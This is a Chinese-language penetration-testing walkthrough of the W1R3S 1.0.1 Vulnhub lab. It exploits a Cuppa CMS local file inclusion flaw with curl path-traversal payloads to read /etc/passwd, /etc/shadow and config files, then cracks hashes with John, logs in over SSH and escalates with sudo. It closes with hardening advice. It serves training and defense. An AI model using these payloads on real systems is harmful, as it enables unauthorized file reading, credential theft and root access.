Cuppa CMS 文件包含漏洞实战:W1R3S 1.0.1靶机从LFI到Root的3步提权
Cuppa CMS文件包含漏洞深度剖析:从LFI到Root的实战路径
1. 靶机环境与漏洞背景
W1R3S 1.0.1是一个专为渗透测试练习设计的Vulnhub靶机,其核心漏洞存在于Cuppa CMS的alertConfigField.php文件中。这个基于PHP的内容管理系统由于未对urlConfig参数进行严格过滤,导致攻击者可以通过路径遍历实现本地文件包含(LFI)。
典型漏洞特征:
- 影响版本:Cuppa CMS全版本
- 漏洞类型:本地文件包含(LFI)
- 危险等级:高危
- 利用条件:需访问
/administrator目录 - 攻击复杂度:低
在实际测试环境中,我们常遇到以下配置特征:
# 典型漏洞文件路径 /administrator/alerts/alertConfigField.php # 常见敏感文件路径 /etc/passwd /etc/shadow /var/www/html/config.php2. 信息收集与漏洞识别
2.1 基础扫描技术
完整的渗透测试始于系统化的信息收集。对于W1R3S靶机,推荐采用分层扫描策略:
主机发现:
nmap -sn 192.168.1.0/24端口扫描:
nmap -T4 -A -p- 靶机IP服务识别:
nmap -sV -sC -O 靶机IP
常见扫描结果分析:
| 端口 | 服务 | 潜在风险 |
|---|---|---|
| 21 | FTP | 匿名登录可能 |
| 22 | SSH | 暴力破解风险 |
| 80 | HTTP | Web应用漏洞 |
| 3306 | MySQL | 弱口令/未授权访问 |
2.2 Web目录枚举
使用dirsearch进行深度目录扫描:
python3 dirsearch.py -u http://靶机IP -e php,html,js -t 50关键发现:
/administrator:Cuppa CMS后台/wordpress:伪装的干扰目录/javascript:可能包含敏感配置
3. 漏洞利用实战
3.1 LFI漏洞验证
通过curl发送POST请求验证漏洞:
curl -X POST -d "urlConfig=../../../../../../../../../etc/passwd" http://靶机IP/administrator/alerts/alertConfigField.php响应分析技巧:
- 查看HTTP状态码(200表示成功)
- 检查返回内容长度
- 注意特殊字符转义情况
3.2 敏感文件提取
关键文件获取方法:
用户列表:
curl -s --data-urlencode "urlConfig=../../../../../../../../../etc/passwd" http://靶机IP/administrator/alerts/alertConfigField.php | grep -E '/bin/bash|/bin/sh'密码哈希:
curl -s --data-urlencode "urlConfig=../../../../../../../../../etc/shadow" http://靶机IP/administrator/alerts/alertConfigField.php > shadow.txtWeb配置:
curl --data-urlencode "urlConfig=../../../../../../../../../var/www/html/config.php" http://靶机IP/administrator/alerts/alertConfigField.php
4. 密码破解与权限提升
4.1 John破解实战
提取有效哈希:
grep -E 'root|w1r3s' shadow.txt > crack.hash使用John破解:
john --wordlist=/usr/share/wordlists/rockyou.txt crack.hash查看破解结果:
john --show crack.hash
典型结果:
w1r3s:computer:18090:0:99999:7:::4.2 SSH登录与提权
建立SSH连接:
ssh w1r3s@靶机IP权限检查:
sudo -l提权操作:
sudo su -
提权后操作:
# 查找flag文件 find / -name flag* 2>/dev/null # 查看系统信息 cat /etc/issue; uname -a # 检查计划任务 crontab -l5. 防御与加固建议
5.1 临时修复方案
文件权限控制:
chmod 750 /administrator/alerts/ chmod 640 /administrator/alerts/alertConfigField.phpWeb服务器配置:
location ~ /alerts/ { deny all; }
5.2 代码层修复
参数过滤:
$allowed_paths = ['config/','alerts/']; if(!in_array($_POST['urlConfig'], $allowed_paths)) { die('Invalid path'); }目录限制:
$base_dir = '/var/www/html/'; $real_path = realpath($base_dir . $_POST['urlConfig']); if(strpos($real_path, $base_dir) !== 0) { die('Path traversal attempt detected'); }
5.3 长期安全措施
安全加固清单:
- [ ] 定期更新CMS核心
- [ ] 实施WAF规则
- [ ] 启用PHP安全模式
- [ ] 配置严格的文件权限
- [ ] 部署入侵检测系统
6. 攻击链可视化
完整的攻击路径可概括为:
- 信息收集 → 2. 服务枚举 → 3. 漏洞识别 → 4. LFI利用 → 5. 凭证获取 → 6. 权限提升
时间效率对比:
| 阶段 | 新手耗时 | 熟练者耗时 |
|---|---|---|
| 信息收集 | 30min | 10min |
| 漏洞识别 | 60min | 15min |
| 密码破解 | 120min | 5min |
| 权限提升 | 60min | 2min |
在实际渗透测试项目中,这种类型的漏洞通常能在2小时内完成从发现到利用的全过程。关键在于建立系统化的测试流程和丰富的经验积累。